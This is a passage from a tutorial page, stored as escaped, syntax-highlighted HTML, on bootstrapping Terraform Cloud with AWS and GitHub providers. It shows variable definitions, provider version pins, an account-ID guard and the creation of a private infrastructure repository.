#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"aws.workload.identity\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"The audience value to use in run identity tokens\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc_hostname\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  type\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003estring\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  default\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"app.terraform.io\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"The hostname of the TFC or TFE instance you'd like to use with AWS\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc_project_name\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  type\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003estring\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  default\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Default Project\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"The project under which a workspace will be created\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc_organization_name\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  type\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003estring\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"The name of your Terraform Cloud organization\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc_organization_owner\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  type\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003estring\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"The owner of the TFC organization\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc_workspaces\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  type\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003elist\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003estring\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"The list of TFC workspaces\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"github_organization\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"The organization the repositories are owned by\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  type\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003estring\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"github_repo_name\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"The name of the git reppository we'll create for managing infra\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  type\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003estring\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"github_default_branch\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"The default branch to utilize\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  type\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003estring\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  default\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"main\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"aws_root_account_id\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"The AWS root account we want to apply these changes to\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  type\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003estring\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWe will use these variables in the later modules but they are mostly metadata\naround the terraform and github accounts you'll need to setup manually.\u003c/p\u003e\n\u003ch3\u003eProviders\u003c/h3\u003e\n\u003cp\u003eCreate a file called \u003ccode\u003e2-providers.tf\u003c/code\u003e and define the providers:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"default\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eterraform\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003erequired_providers\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    tfe\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      source  \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"hashicorp/tfe\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      version \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"0.41.0\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    aws\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      source  \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"hashicorp/aws\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      version \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"4.58.0\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    github\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      source  \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"integrations/github\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      version \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"5.18.3\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eprovider\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"aws\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  region\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"us-east-1\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #768390\"\u003e# Root account, all other accounts should be provisioned\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #768390\"\u003e# via pull requests\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  allowed_account_ids\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e[var\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eaws_root_account_id]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eprovider\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"github\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  owner\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003egithub_organization\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe key things there are we define \u003ccode\u003eallowed_account_ids\u003c/code\u003e to prevent us from\nworking against any account that isn't the root and we are using one of the\nvariables we defines earlier.\u003c/p\u003e\n\u003ch3\u003eGithub\u003c/h3\u003e\n\u003cp\u003eWe will utilize \u003ccode\u003eterraform\u003c/code\u003e to create the second git repository where the rest\nof the infrastructure will go. Create a file called \u003ccode\u003e3-github.tf\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"default\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"github_repository\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"repo\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  name\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003egithub_repo_name\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Infrastructure Repository\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  visibility\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"private\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  auto_init\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003etrue\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  has_issues\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003etrue\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"github_branch_default\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"default\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  repository\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003egithub_repository\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003erepo\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ename\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  branch\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003egithub_default_branch\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003edata\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfe_team\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"owners\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  name\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"owners\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  organization\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan 